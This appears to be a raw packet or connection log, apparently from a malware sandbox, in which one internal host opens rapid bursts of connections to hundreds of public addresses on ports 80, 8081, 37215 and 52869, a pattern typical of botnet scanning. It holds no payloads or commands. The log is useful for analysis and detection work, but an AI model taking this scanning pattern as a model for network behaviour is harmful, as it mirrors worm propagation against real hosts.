Jul 20, 2024 23:01:02.557277918 CEST	49388	8081	192.168.2.13	125.119.2.235
Jul 20, 2024 23:01:02.557446003 CEST	80	50568	95.203.21.186	192.168.2.13
Jul 20, 2024 23:01:02.557703018 CEST	80	50568	95.113.1.14	192.168.2.13
Jul 20, 2024 23:01:02.558048010 CEST	80	50568	95.200.79.215	192.168.2.13
Jul 20, 2024 23:01:02.558250904 CEST	80	50568	95.148.181.130	192.168.2.13
Jul 20, 2024 23:01:02.558478117 CEST	50568	80	192.168.2.13	95.239.121.85
Jul 20, 2024 23:01:02.558478117 CEST	50568	80	192.168.2.13	95.255.37.222
Jul 20, 2024 23:01:02.558478117 CEST	50568	80	192.168.2.13	95.106.164.74
Jul 20, 2024 23:01:02.558478117 CEST	50568	80	192.168.2.13	95.172.109.170
Jul 20, 2024 23:01:02.558478117 CEST	50568	80	192.168.2.13	95.250.194.2
Jul 20, 2024 23:01:02.558514118 CEST	80	50568	95.47.91.118	192.168.2.13
Jul 20, 2024 23:01:02.559971094 CEST	80	50568	95.17.169.57	192.168.2.13
Jul 20, 2024 23:01:02.560576916 CEST	80	50568	95.180.245.18	192.168.2.13
Jul 20, 2024 23:01:02.560637951 CEST	50568	80	192.168.2.13	95.189.189.219
Jul 20, 2024 23:01:02.560637951 CEST	45212	80	192.168.2.13	88.132.15.37
Jul 20, 2024 23:01:02.560637951 CEST	45212	80	192.168.2.13	88.132.15.37
Jul 20, 2024 23:01:02.560637951 CEST	48796	80	192.168.2.13	88.76.253.23
Jul 20, 2024 23:01:02.560637951 CEST	50568	80	192.168.2.13	95.95.160.105
Jul 20, 2024 23:01:02.560637951 CEST	50568	80	192.168.2.13	95.175.86.230
Jul 20, 2024 23:01:02.560637951 CEST	50568	80	192.168.2.13	95.125.201.149
Jul 20, 2024 23:01:02.560637951 CEST	48442	8081	192.168.2.13	125.119.2.235
Jul 20, 2024 23:01:02.560916901 CEST	8081	60122	12.120.192.163	192.168.2.13
Jul 20, 2024 23:01:02.561578035 CEST	50568	80	192.168.2.13	95.141.0.141
Jul 20, 2024 23:01:02.561578035 CEST	50568	80	192.168.2.13	95.247.7.72
Jul 20, 2024 23:01:02.561578035 CEST	50568	80	192.168.2.13	95.112.207.235
Jul 20, 2024 23:01:02.561578035 CEST	50568	80	192.168.2.13	95.136.64.145
Jul 20, 2024 23:01:02.561578035 CEST	50568	80	192.168.2.13	95.228.151.154
Jul 20, 2024 23:01:02.561578035 CEST	50568	80	192.168.2.13	95.231.245.57
Jul 20, 2024 23:01:02.561578035 CEST	50568	80	192.168.2.13	95.5.14.203
Jul 20, 2024 23:01:02.561844110 CEST	50568	80	192.168.2.13	95.58.250.17
Jul 20, 2024 23:01:02.561844110 CEST	50568	80	192.168.2.13	95.148.222.24
Jul 20, 2024 23:01:02.561844110 CEST	50568	80	192.168.2.13	95.184.247.221
Jul 20, 2024 23:01:02.561844110 CEST	43130	52869	192.168.2.13	141.36.128.134
Jul 20, 2024 23:01:02.561844110 CEST	50568	80	192.168.2.13	95.226.170.95
Jul 20, 2024 23:01:02.561844110 CEST	50568	80	192.168.2.13	95.196.219.201
Jul 20, 2024 23:01:02.561844110 CEST	50568	80	192.168.2.13	95.139.1.93
Jul 20, 2024 23:01:02.561844110 CEST	50568	80	192.168.2.13	95.205.98.146
Jul 20, 2024 23:01:02.561876059 CEST	80	50568	95.209.148.172	192.168.2.13
Jul 20, 2024 23:01:02.561880112 CEST	8081	32832	12.120.192.163	192.168.2.13
Jul 20, 2024 23:01:02.561988115 CEST	80	50568	95.111.161.233	192.168.2.13
Jul 20, 2024 23:01:02.562289000 CEST	80	50568	95.123.86.123	192.168.2.13
Jul 20, 2024 23:01:02.562293053 CEST	80	50568	95.69.147.226	192.168.2.13
Jul 20, 2024 23:01:02.562603951 CEST	50568	80	192.168.2.13	95.180.237.10
Jul 20, 2024 23:01:02.562603951 CEST	50568	80	192.168.2.13	95.158.7.56
Jul 20, 2024 23:01:02.562603951 CEST	50568	80	192.168.2.13	95.166.254.96
Jul 20, 2024 23:01:02.562604904 CEST	50568	80	192.168.2.13	95.242.70.141
Jul 20, 2024 23:01:02.562604904 CEST	50568	80	192.168.2.13	95.212.219.138
Jul 20, 2024 23:01:02.562604904 CEST	50568	80	192.168.2.13	95.27.93.108
Jul 20, 2024 23:01:02.562604904 CEST	50568	80	192.168.2.13	95.85.170.238
Jul 20, 2024 23:01:02.562841892 CEST	8081	49388	125.119.2.235	192.168.2.13
Jul 20, 2024 23:01:02.562905073 CEST	49388	8081	192.168.2.13	125.119.2.235
Jul 20, 2024 23:01:02.563419104 CEST	80	50568	95.15.34.118	192.168.2.13
Jul 20, 2024 23:01:02.564013958 CEST	80	50568	95.194.51.12	192.168.2.13
Jul 20, 2024 23:01:02.564018965 CEST	80	50568	95.94.163.97	192.168.2.13
Jul 20, 2024 23:01:02.564918995 CEST	80	50568	95.79.18.46	192.168.2.13
Jul 20, 2024 23:01:02.564924002 CEST	80	50568	95.129.159.89	192.168.2.13
Jul 20, 2024 23:01:02.564933062 CEST	80	50568	95.41.248.213	192.168.2.13
Jul 20, 2024 23:01:02.565418959 CEST	80	50568	95.82.116.56	192.168.2.13
Jul 20, 2024 23:01:02.565423965 CEST	80	50568	95.161.231.209	192.168.2.13
Jul 20, 2024 23:01:02.565433025 CEST	80	50568	95.112.183.46	192.168.2.13
Jul 20, 2024 23:01:02.565658092 CEST	80	50568	95.166.15.17	192.168.2.13
Jul 20, 2024 23:01:02.565941095 CEST	80	50568	95.189.189.219	192.168.2.13
Jul 20, 2024 23:01:02.566062927 CEST	48442	8081	192.168.2.13	125.119.2.235
Jul 20, 2024 23:01:02.566062927 CEST	50568	80	192.168.2.13	95.242.249.198
Jul 20, 2024 23:01:02.566062927 CEST	50568	80	192.168.2.13	95.238.146.206
Jul 20, 2024 23:01:02.566062927 CEST	50568	80	192.168.2.13	95.173.78.236
Jul 20, 2024 23:01:02.566062927 CEST	50568	80	192.168.2.13	95.194.51.12
Jul 20, 2024 23:01:02.566062927 CEST	32832	8081	192.168.2.13	12.120.192.163
Jul 20, 2024 23:01:02.566062927 CEST	50568	80	192.168.2.13	95.129.159.89
Jul 20, 2024 23:01:02.566062927 CEST	50568	80	192.168.2.13	95.82.116.56
Jul 20, 2024 23:01:02.566236019 CEST	80	50568	95.61.2.89	192.168.2.13
Jul 20, 2024 23:01:02.566368103 CEST	80	45212	88.132.15.37	192.168.2.13
Jul 20, 2024 23:01:02.566373110 CEST	80	50568	95.206.39.224	192.168.2.13
Jul 20, 2024 23:01:02.566704035 CEST	80	50568	95.155.49.253	192.168.2.13
Jul 20, 2024 23:01:02.566816092 CEST	50568	80	192.168.2.13	95.133.116.186
Jul 20, 2024 23:01:02.566816092 CEST	50568	80	192.168.2.13	95.24.228.99
Jul 20, 2024 23:01:02.566816092 CEST	50568	80	192.168.2.13	95.124.57.136
Jul 20, 2024 23:01:02.566816092 CEST	50568	80	192.168.2.13	95.194.80.140
Jul 20, 2024 23:01:02.566816092 CEST	50568	80	192.168.2.13	95.23.195.153
Jul 20, 2024 23:01:02.566816092 CEST	50568	80	192.168.2.13	95.29.88.239
Jul 20, 2024 23:01:02.566816092 CEST	50568	80	192.168.2.13	95.20.48.78
Jul 20, 2024 23:01:02.566816092 CEST	50568	80	192.168.2.13	95.57.196.181
Jul 20, 2024 23:01:02.566984892 CEST	80	45212	88.132.15.37	192.168.2.13
Jul 20, 2024 23:01:02.567450047 CEST	50563	37215	192.168.2.13	197.95.184.147
Jul 20, 2024 23:01:02.567456961 CEST	80	50568	95.58.250.17	192.168.2.13
Jul 20, 2024 23:01:02.567461967 CEST	80	50568	95.148.222.24	192.168.2.13
Jul 20, 2024 23:01:02.567470074 CEST	80	50568	95.250.42.86	192.168.2.13
Jul 20, 2024 23:01:02.568032980 CEST	50568	80	192.168.2.13	95.102.205.112
Jul 20, 2024 23:01:02.568032980 CEST	45734	8081	192.168.2.13	14.18.87.181
Jul 20, 2024 23:01:02.568032980 CEST	39042	80	192.168.2.13	88.169.191.113
Jul 20, 2024 23:01:02.568032980 CEST	50568	80	192.168.2.13	95.215.120.164
Jul 20, 2024 23:01:02.568032980 CEST	50568	80	192.168.2.13	95.100.22.103
Jul 20, 2024 23:01:02.568032980 CEST	50568	80	192.168.2.13	95.168.188.241
Jul 20, 2024 23:01:02.568032980 CEST	50568	80	192.168.2.13	95.2.94.137
Jul 20, 2024 23:01:02.568032980 CEST	50568	80	192.168.2.13	95.97.93.9
Jul 20, 2024 23:01:02.569264889 CEST	80	50568	95.180.237.10	192.168.2.13
Jul 20, 2024 23:01:02.569914103 CEST	50563	37215	192.168.2.13	41.111.58.177
Jul 20, 2024 23:01:02.569914103 CEST	50563	37215	192.168.2.13	123.56.198.11
Jul 20, 2024 23:01:02.569914103 CEST	50563	37215	192.168.2.13	157.116.224.250
Jul 20, 2024 23:01:02.569915056 CEST	50563	37215	192.168.2.13	197.82.100.68
Jul 20, 2024 23:01:02.569915056 CEST	50563	37215	192.168.2.13	149.28.11.79
Jul 20, 2024 23:01:02.569915056 CEST	50563	37215	192.168.2.13	197.11.43.126
Jul 20, 2024 23:01:02.569915056 CEST	50563	37215	192.168.2.13	197.105.181.105
Jul 20, 2024 23:01:02.569998026 CEST	80	50568	95.184.247.221	192.168.2.13
Jul 20, 2024 23:01:02.570542097 CEST	52869	43130	141.36.128.134	192.168.2.13
Jul 20, 2024 23:01:02.570913076 CEST	50568	80	192.168.2.13	95.87.57.154
Jul 20, 2024 23:01:02.570913076 CEST	50568	80	192.168.2.13	95.79.109.201
Jul 20, 2024 23:01:02.570913076 CEST	50568	80	192.168.2.13	95.228.6.252
Jul 20, 2024 23:01:02.570913076 CEST	50568	80	192.168.2.13	95.254.168.34
Jul 20, 2024 23:01:02.570913076 CEST	50568	80	192.168.2.13	95.77.61.50
Jul 20, 2024 23:01:02.570913076 CEST	50568	80	192.168.2.13	95.16.143.20
Jul 20, 2024 23:01:02.570913076 CEST	50568	80	192.168.2.13	95.37.149.46
Jul 20, 2024 23:01:02.570913076 CEST	50568	80	192.168.2.13	95.11.183.120
Jul 20, 2024 23:01:02.570930004 CEST	80	50568	95.226.170.95	192.168.2.13
Jul 20, 2024 23:01:02.570935011 CEST	8081	48442	125.119.2.235	192.168.2.13
Jul 20, 2024 23:01:02.571156979 CEST	50563	37215	192.168.2.13	157.70.181.241
Jul 20, 2024 23:01:02.571156979 CEST	50563	37215	192.168.2.13	41.221.243.78
Jul 20, 2024 23:01:02.571157932 CEST	50563	37215	192.168.2.13	197.6.111.165
Jul 20, 2024 23:01:02.571157932 CEST	50563	37215	192.168.2.13	41.29.2.137
Jul 20, 2024 23:01:02.571157932 CEST	50563	37215	192.168.2.13	189.165.8.41
Jul 20, 2024 23:01:02.571157932 CEST	50563	37215	192.168.2.13	105.30.60.182
Jul 20, 2024 23:01:02.571157932 CEST	50563	37215	192.168.2.13	168.233.53.72
Jul 20, 2024 23:01:02.571157932 CEST	50563	37215	192.168.2.13	110.174.239.162
Jul 20, 2024 23:01:02.571553946 CEST	80	50568	95.196.219.201	192.168.2.13
Jul 20, 2024 23:01:02.572357893 CEST	80	50568	95.139.1.93	192.168.2.13
Jul 20, 2024 23:01:02.572979927 CEST	50568	80	192.168.2.13	95.179.233.251
Jul 20, 2024 23:01:02.572979927 CEST	50568	80	192.168.2.13	95.197.55.123
Jul 20, 2024 23:01:02.572979927 CEST	50568	80	192.168.2.13	95.208.246.138
Jul 20, 2024 23:01:02.572979927 CEST	50568	80	192.168.2.13	95.33.84.215
Jul 20, 2024 23:01:02.572979927 CEST	50568	80	192.168.2.13	95.48.195.164
Jul 20, 2024 23:01:02.572979927 CEST	50568	80	192.168.2.13	95.199.160.211
Jul 20, 2024 23:01:02.572979927 CEST	50568	80	192.168.2.13	95.118.95.19
Jul 20, 2024 23:01:02.572979927 CEST	50568	80	192.168.2.13	95.148.181.130
Jul 20, 2024 23:01:02.573230982 CEST	80	50568	95.205.98.146	192.168.2.13
Jul 20, 2024 23:01:02.573231936 CEST	50568	80	192.168.2.13	95.245.194.173
Jul 20, 2024 23:01:02.573231936 CEST	50568	80	192.168.2.13	95.9.52.218
Jul 20, 2024 23:01:02.573231936 CEST	50568	80	192.168.2.13	95.91.120.164
Jul 20, 2024 23:01:02.573231936 CEST	50568	80	192.168.2.13	95.200.178.179
Jul 20, 2024 23:01:02.573231936 CEST	50568	80	192.168.2.13	95.107.181.66
Jul 20, 2024 23:01:02.573231936 CEST	50568	80	192.168.2.13	95.237.121.90
Jul 20, 2024 23:01:02.573231936 CEST	50568	80	192.168.2.13	95.138.181.79
Jul 20, 2024 23:01:02.573231936 CEST	50568	80	192.168.2.13	95.182.236.21
Jul 20, 2024 23:01:02.573235989 CEST	80	50568	95.158.7.56	192.168.2.13
Jul 20, 2024 23:01:02.573846102 CEST	80	50568	95.102.205.112	192.168.2.13
Jul 20, 2024 23:01:02.574307919 CEST	80	50568	95.166.254.96	192.168.2.13
Jul 20, 2024 23:01:02.574510098 CEST	80	50568	95.242.70.141	192.168.2.13
Jul 20, 2024 23:01:02.574621916 CEST	80	50568	95.212.219.138	192.168.2.13
Jul 20, 2024 23:01:02.574815035 CEST	50563	37215	192.168.2.13	41.103.11.181
Jul 20, 2024 23:01:02.574815035 CEST	50563	37215	192.168.2.13	172.10.139.219
Jul 20, 2024 23:01:02.574815035 CEST	50563	37215	192.168.2.13	41.191.47.108
Jul 20, 2024 23:01:02.574815035 CEST	50563	37215	192.168.2.13	195.123.255.205
Jul 20, 2024 23:01:02.574815035 CEST	50563	37215	192.168.2.13	41.218.171.117
Jul 20, 2024 23:01:02.574815035 CEST	50563	37215	192.168.2.13	197.115.65.96
Jul 20, 2024 23:01:02.574815035 CEST	50563	37215	192.168.2.13	34.246.83.219
Jul 20, 2024 23:01:02.574815035 CEST	50563	37215	192.168.2.13	101.162.77.200
Jul 20, 2024 23:01:02.574897051 CEST	37215	50563	197.95.184.147	192.168.2.13
Jul 20, 2024 23:01:02.575514078 CEST	37215	50563	41.111.58.177	192.168.2.13
Jul 20, 2024 23:01:02.575601101 CEST	50568	80	192.168.2.13	95.225.93.85
Jul 20, 2024 23:01:02.575601101 CEST	50568	80	192.168.2.13	95.246.41.204
Jul 20, 2024 23:01:02.575601101 CEST	50568	80	192.168.2.13	95.229.109.93
Jul 20, 2024 23:01:02.575602055 CEST	50568	80	192.168.2.13	95.91.39.179
Jul 20, 2024 23:01:02.575602055 CEST	50568	80	192.168.2.13	95.124.234.16
Jul 20, 2024 23:01:02.575602055 CEST	39202	80	192.168.2.13	88.127.108.167
Jul 20, 2024 23:01:02.575602055 CEST	50568	80	192.168.2.13	95.113.1.14
Jul 20, 2024 23:01:02.576389074 CEST	37215	50563	123.56.198.11	192.168.2.13
Jul 20, 2024 23:01:02.577219009 CEST	37215	50563	157.70.181.241	192.168.2.13
Jul 20, 2024 23:01:02.577522039 CEST	37215	50563	157.116.224.250	192.168.2.13
Jul 20, 2024 23:01:02.577729940 CEST	37215	50563	41.221.243.78	192.168.2.13
Jul 20, 2024 23:01:02.578068018 CEST	50563	37215	192.168.2.13	197.198.100.13
Jul 20, 2024 23:01:02.578068018 CEST	50563	37215	192.168.2.13	197.103.86.239
Jul 20, 2024 23:01:02.578068018 CEST	50563	37215	192.168.2.13	157.208.220.222
Jul 20, 2024 23:01:02.578068972 CEST	50563	37215	192.168.2.13	41.118.213.103
Jul 20, 2024 23:01:02.578068972 CEST	50563	37215	192.168.2.13	41.119.64.82
Jul 20, 2024 23:01:02.578068972 CEST	50563	37215	192.168.2.13	157.125.163.219
Jul 20, 2024 23:01:02.578068972 CEST	50563	37215	192.168.2.13	197.27.246.31
Jul 20, 2024 23:01:02.578068972 CEST	50563	37215	192.168.2.13	197.142.25.54
Jul 20, 2024 23:01:02.578074932 CEST	37215	50563	197.6.111.165	192.168.2.13
Jul 20, 2024 23:01:02.578303099 CEST	37215	50563	197.82.100.68	192.168.2.13
Jul 20, 2024 23:01:02.579052925 CEST	80	50568	95.27.93.108	192.168.2.13
Jul 20, 2024 23:01:02.579462051 CEST	60952	52869	192.168.2.13	153.105.129.20
Jul 20, 2024 23:01:02.579462051 CEST	50563	37215	192.168.2.13	157.210.2.124
Jul 20, 2024 23:01:02.579462051 CEST	50563	37215	192.168.2.13	157.138.216.112
Jul 20, 2024 23:01:02.579462051 CEST	50563	37215	192.168.2.13	157.206.35.12
Jul 20, 2024 23:01:02.579462051 CEST	50563	37215	192.168.2.13	157.13.168.159
Jul 20, 2024 23:01:02.579462051 CEST	50563	37215	192.168.2.13	99.233.89.201
Jul 20, 2024 23:01:02.579462051 CEST	50563	37215	192.168.2.13	38.202.138.248
Jul 20, 2024 23:01:02.579462051 CEST	50563	37215	192.168.2.13	41.122.43.194
Jul 20, 2024 23:01:02.579879045 CEST	37215	50563	149.28.11.79	192.168.2.13
Jul 20, 2024 23:01:02.580311060 CEST	50568	80	192.168.2.13	95.133.27.53
Jul 20, 2024 23:01:02.580311060 CEST	50568	80	192.168.2.13	95.78.71.116
Jul 20, 2024 23:01:02.580311060 CEST	57588	52869	192.168.2.13	54.236.238.51
Jul 20, 2024 23:01:02.580311060 CEST	45856	80	192.168.2.13	88.132.15.37
Jul 20, 2024 23:01:02.580311060 CEST	50568	80	192.168.2.13	95.170.152.141
Jul 20, 2024 23:01:02.580359936 CEST	37215	50563	197.11.43.126	192.168.2.13
Jul 20, 2024 23:01:02.580364943 CEST	37215	50563	41.29.2.137	192.168.2.13
Jul 20, 2024 23:01:02.580374002 CEST	37215	50563	197.105.181.105	192.168.2.13
Jul 20, 2024 23:01:02.580378056 CEST	37215	50563	189.165.8.41	192.168.2.13
Jul 20, 2024 23:01:02.580688953 CEST	37215	50563	41.103.11.181	192.168.2.13
Jul 20, 2024 23:01:02.580693960 CEST	80	50568	95.85.170.238	192.168.2.13
Jul 20, 2024 23:01:02.580739975 CEST	50568	80	192.168.2.13	95.1.73.250
Jul 20, 2024 23:01:02.580739975 CEST	50568	80	192.168.2.13	95.225.137.70
Jul 20, 2024 23:01:02.580739975 CEST	50568	80	192.168.2.13	95.129.81.173
Jul 20, 2024 23:01:02.580739975 CEST	50568	80	192.168.2.13	95.17.3.6
Jul 20, 2024 23:01:02.580739975 CEST	50568	80	192.168.2.13	95.204.240.150
Jul 20, 2024 23:01:02.580739975 CEST	50568	80	192.168.2.13	95.182.68.248
Jul 20, 2024 23:01:02.580739975 CEST	50568	80	192.168.2.13	95.166.226.75
Jul 20, 2024 23:01:02.580739975 CEST	50568	80	192.168.2.13	95.38.153.44
Jul 20, 2024 23:01:02.582015991 CEST	80	50568	95.225.93.85	192.168.2.13
Jul 20, 2024 23:01:02.582020998 CEST	37215	50563	105.30.60.182	192.168.2.13
Jul 20, 2024 23:01:02.582030058 CEST	37215	50563	172.10.139.219	192.168.2.13
Jul 20, 2024 23:01:02.582276106 CEST	50568	80	192.168.2.13	95.189.189.219
Jul 20, 2024 23:01:02.582276106 CEST	50563	37215	192.168.2.13	157.139.180.109
Jul 20, 2024 23:01:02.582276106 CEST	50563	37215	192.168.2.13	41.163.201.249
Jul 20, 2024 23:01:02.582276106 CEST	50563	37215	192.168.2.13	157.57.137.145
Jul 20, 2024 23:01:02.582276106 CEST	50563	37215	192.168.2.13	197.84.204.29
Jul 20, 2024 23:01:02.582276106 CEST	50563	37215	192.168.2.13	41.243.142.242
Jul 20, 2024 23:01:02.582276106 CEST	50563	37215	192.168.2.13	41.169.97.165
Jul 20, 2024 23:01:02.582276106 CEST	50563	37215	192.168.2.13	86.238.25.205
Jul 20, 2024 23:01:02.582776070 CEST	37215	50563	168.233.53.72	192.168.2.13
Jul 20, 2024 23:01:02.582779884 CEST	37215	50563	41.191.47.108	192.168.2.13
Jul 20, 2024 23:01:02.583479881 CEST	37215	50563	110.174.239.162	192.168.2.13
Jul 20, 2024 23:01:02.583662033 CEST	50563	37215	192.168.2.13	197.225.113.223
Jul 20, 2024 23:01:02.583662033 CEST	50563	37215	192.168.2.13	41.194.86.31
Jul 20, 2024 23:01:02.583662033 CEST	50563	37215	192.168.2.13	41.158.116.181
Jul 20, 2024 23:01:02.583662033 CEST	50563	37215	192.168.2.13	41.162.230.119
Jul 20, 2024 23:01:02.583662033 CEST	50563	37215	192.168.2.13	52.71.211.62
Jul 20, 2024 23:01:02.583662033 CEST	50563	37215	192.168.2.13	157.209.226.140
Jul 20, 2024 23:01:02.583662033 CEST	50563	37215	192.168.2.13	197.37.15.75
Jul 20, 2024 23:01:02.583662987 CEST	50563	37215	192.168.2.13	88.39.240.239
Jul 20, 2024 23:01:02.583790064 CEST	50568	80	192.168.2.13	95.203.21.186
Jul 20, 2024 23:01:02.583790064 CEST	50568	80	192.168.2.13	95.200.79.215
Jul 20, 2024 23:01:02.583790064 CEST	50568	80	192.168.2.13	95.180.245.18
Jul 20, 2024 23:01:02.583790064 CEST	54338	37215	192.168.2.13	41.29.132.43
Jul 20, 2024 23:01:02.583790064 CEST	50563	37215	192.168.2.13	157.196.149.51
Jul 20, 2024 23:01:02.583790064 CEST	50563	37215	192.168.2.13	126.191.16.54
Jul 20, 2024 23:01:02.583790064 CEST	50563	37215	192.168.2.13	157.221.82.145
Jul 20, 2024 23:01:02.583790064 CEST	50563	37215	192.168.2.13	197.150.53.167
Jul 20, 2024 23:01:02.583882093 CEST	80	50568	95.246.41.204	192.168.2.13
Jul 20, 2024 23:01:02.583916903 CEST	50563	37215	192.168.2.13	197.50.168.227
Jul 20, 2024 23:01:02.583916903 CEST	50563	37215	192.168.2.13	219.70.10.31
Jul 20, 2024 23:01:02.583916903 CEST	50563	37215	192.168.2.13	197.110.10.121
Jul 20, 2024 23:01:02.583916903 CEST	50563	37215	192.168.2.13	144.129.220.235
Jul 20, 2024 23:01:02.583916903 CEST	50563	37215	192.168.2.13	197.46.100.12
Jul 20, 2024 23:01:02.583918095 CEST	50563	37215	192.168.2.13	197.176.136.135
Jul 20, 2024 23:01:02.583918095 CEST	50563	37215	192.168.2.13	41.32.202.162
Jul 20, 2024 23:01:02.584047079 CEST	37215	50563	197.198.100.13	192.168.2.13
Jul 20, 2024 23:01:02.584419966 CEST	37215	50563	197.103.86.239	192.168.2.13
Jul 20, 2024 23:01:02.584542036 CEST	37215	50563	157.208.220.222	192.168.2.13
Jul 20, 2024 23:01:02.584547043 CEST	52869	60952	153.105.129.20	192.168.2.13
Jul 20, 2024 23:01:02.585202932 CEST	50568	80	192.168.2.13	95.179.38.151
Jul 20, 2024 23:01:02.585202932 CEST	50568	80	192.168.2.13	95.104.104.35
Jul 20, 2024 23:01:02.585202932 CEST	50568	80	192.168.2.13	95.32.30.82
Jul 20, 2024 23:01:02.585202932 CEST	49820	37215	192.168.2.13	197.201.223.21
Jul 20, 2024 23:01:02.585202932 CEST	50568	80	192.168.2.13	95.17.169.57
Jul 20, 2024 23:01:02.585202932 CEST	50568	80	192.168.2.13	95.209.148.172
Jul 20, 2024 23:01:02.585202932 CEST	50568	80	192.168.2.13	95.123.86.123
Jul 20, 2024 23:01:02.585202932 CEST	58112	8081	192.168.2.13	200.82.236.203
Jul 20, 2024 23:01:02.585215092 CEST	37215	50563	195.123.255.205	192.168.2.13
Jul 20, 2024 23:01:02.585757017 CEST	37215	50563	41.218.171.117	192.168.2.13
Jul 20, 2024 23:01:02.586126089 CEST	37215	50563	41.118.213.103	192.168.2.13
Jul 20, 2024 23:01:02.586129904 CEST	37215	50563	41.119.64.82	192.168.2.13
Jul 20, 2024 23:01:02.586241007 CEST	37215	50563	197.115.65.96	192.168.2.13
Jul 20, 2024 23:01:02.586555958 CEST	37215	50563	157.125.163.219	192.168.2.13
Jul 20, 2024 23:01:02.586921930 CEST	37215	50563	34.246.83.219	192.168.2.13
Jul 20, 2024 23:01:02.587044954 CEST	37215	50563	157.210.2.124	192.168.2.13
Jul 20, 2024 23:01:02.587378025 CEST	50563	37215	192.168.2.13	197.161.213.41
Jul 20, 2024 23:01:02.587378025 CEST	50563	37215	192.168.2.13	103.232.100.172
Jul 20, 2024 23:01:02.587378025 CEST	50563	37215	192.168.2.13	41.98.49.19
Jul 20, 2024 23:01:02.587378025 CEST	50563	37215	192.168.2.13	64.142.16.14
Jul 20, 2024 23:01:02.587378025 CEST	50563	37215	192.168.2.13	107.251.166.175
Jul 20, 2024 23:01:02.587378025 CEST	50563	37215	192.168.2.13	197.63.41.204
Jul 20, 2024 23:01:02.587378025 CEST	50563	37215	192.168.2.13	68.253.175.96
Jul 20, 2024 23:01:02.587378025 CEST	50563	37215	192.168.2.13	41.100.97.180
Jul 20, 2024 23:01:02.587884903 CEST	80	50568	95.229.109.93	192.168.2.13
Jul 20, 2024 23:01:02.587891102 CEST	52869	57588	54.236.238.51	192.168.2.13
Jul 20, 2024 23:01:02.588052034 CEST	50563	37215	192.168.2.13	197.222.3.19
Jul 20, 2024 23:01:02.588052034 CEST	50563	37215	192.168.2.13	37.235.225.176
Jul 20, 2024 23:01:02.588052034 CEST	50563	37215	192.168.2.13	157.212.244.191
Jul 20, 2024 23:01:02.588052034 CEST	50563	37215	192.168.2.13	197.25.23.134
Jul 20, 2024 23:01:02.588052034 CEST	50563	37215	192.168.2.13	1.167.140.162
Jul 20, 2024 23:01:02.588052034 CEST	50563	37215	192.168.2.13	197.94.220.44
Jul 20, 2024 23:01:02.588052034 CEST	50563	37215	192.168.2.13	72.196.68.147
Jul 20, 2024 23:01:02.588052034 CEST	50563	37215	192.168.2.13	167.112.13.151
Jul 20, 2024 23:01:02.588679075 CEST	37215	50563	197.27.246.31	192.168.2.13
Jul 20, 2024 23:01:02.588684082 CEST	80	45856	88.132.15.37	192.168.2.13
Jul 20, 2024 23:01:02.588692904 CEST	80	50568	95.91.39.179	192.168.2.13
Jul 20, 2024 23:01:02.589013100 CEST	37215	50563	197.142.25.54	192.168.2.13
Jul 20, 2024 23:01:02.589289904 CEST	37215	50563	101.162.77.200	192.168.2.13
Jul 20, 2024 23:01:02.589359045 CEST	37215	50563	197.50.168.227	192.168.2.13
Jul 20, 2024 23:01:02.589364052 CEST	37215	50563	157.138.216.112	192.168.2.13
Jul 20, 2024 23:01:02.590085983 CEST	50568	80	192.168.2.13	95.93.204.168
Jul 20, 2024 23:01:02.590085983 CEST	50563	37215	192.168.2.13	41.238.1.43
Jul 20, 2024 23:01:02.590085983 CEST	50563	37215	192.168.2.13	197.244.115.244
Jul 20, 2024 23:01:02.590085983 CEST	50563	37215	192.168.2.13	157.115.29.35
Jul 20, 2024 23:01:02.590085983 CEST	50563	37215	192.168.2.13	197.9.6.150
Jul 20, 2024 23:01:02.590085983 CEST	50563	37215	192.168.2.13	157.201.209.22
Jul 20, 2024 23:01:02.590085983 CEST	50563	37215	192.168.2.13	157.107.109.24
Jul 20, 2024 23:01:02.590085983 CEST	50563	37215	192.168.2.13	197.87.252.139
Jul 20, 2024 23:01:02.590168953 CEST	37215	50563	157.139.180.109	192.168.2.13
Jul 20, 2024 23:01:02.590509892 CEST	80	50568	95.124.234.16	192.168.2.13
Jul 20, 2024 23:01:02.590514898 CEST	37215	50563	219.70.10.31	192.168.2.13
Jul 20, 2024 23:01:02.591085911 CEST	37215	50563	197.110.10.121	192.168.2.13
Jul 20, 2024 23:01:02.591090918 CEST	37215	54338	41.29.132.43	192.168.2.13
Jul 20, 2024 23:01:02.591124058 CEST	50563	37215	192.168.2.13	197.227.134.191
Jul 20, 2024 23:01:02.591124058 CEST	50563	37215	192.168.2.13	71.255.63.163
Jul 20, 2024 23:01:02.591124058 CEST	50563	37215	192.168.2.13	197.170.203.195
Jul 20, 2024 23:01:02.591124058 CEST	50563	37215	192.168.2.13	197.227.194.127
Jul 20, 2024 23:01:02.591124058 CEST	50563	37215	192.168.2.13	41.187.162.151
Jul 20, 2024 23:01:02.591124058 CEST	50563	37215	192.168.2.13	157.118.104.78
Jul 20, 2024 23:01:02.591124058 CEST	50563	37215	192.168.2.13	197.14.127.162
Jul 20, 2024 23:01:02.591124058 CEST	50563	37215	192.168.2.13	197.171.243.37
Jul 20, 2024 23:01:02.591336966 CEST	37215	50563	144.129.220.235	192.168.2.13
Jul 20, 2024 23:01:02.591629028 CEST	37215	50563	197.46.100.12	192.168.2.13
Jul 20, 2024 23:01:02.591662884 CEST	50568	80	192.168.2.13	95.47.91.118
Jul 20, 2024 23:01:02.591662884 CEST	50568	80	192.168.2.13	95.111.161.233
Jul 20, 2024 23:01:02.591662884 CEST	50568	80	192.168.2.13	95.69.147.226
Jul 20, 2024 23:01:02.591662884 CEST	50568	80	192.168.2.13	95.15.34.118
Jul 20, 2024 23:01:02.591662884 CEST	50568	80	192.168.2.13	95.161.231.209
Jul 20, 2024 23:01:02.591662884 CEST	50568	80	192.168.2.13	95.166.15.17
Jul 20, 2024 23:01:02.591662884 CEST	46244	52869	192.168.2.13	191.94.176.193
Jul 20, 2024 23:01:02.591662884 CEST	50568	80	192.168.2.13	95.206.39.224
Jul 20, 2024 23:01:02.591907024 CEST	37215	50563	157.196.149.51	192.168.2.13
Jul 20, 2024 23:01:02.591912031 CEST	37215	50563	197.176.136.135	192.168.2.13
Jul 20, 2024 23:01:02.592514038 CEST	37215	50563	157.206.35.12	192.168.2.13
Jul 20, 2024 23:01:02.592520952 CEST	37215	50563	126.191.16.54	192.168.2.13
Jul 20, 2024 23:01:02.592538118 CEST	37215	50563	41.32.202.162	192.168.2.13
Jul 20, 2024 23:01:02.592592955 CEST	37215	50563	157.13.168.159	192.168.2.13
Jul 20, 2024 23:01:02.592598915 CEST	37215	50563	197.225.113.223	192.168.2.13
Jul 20, 2024 23:01:02.592607021 CEST	37215	50563	157.221.82.145	192.168.2.13
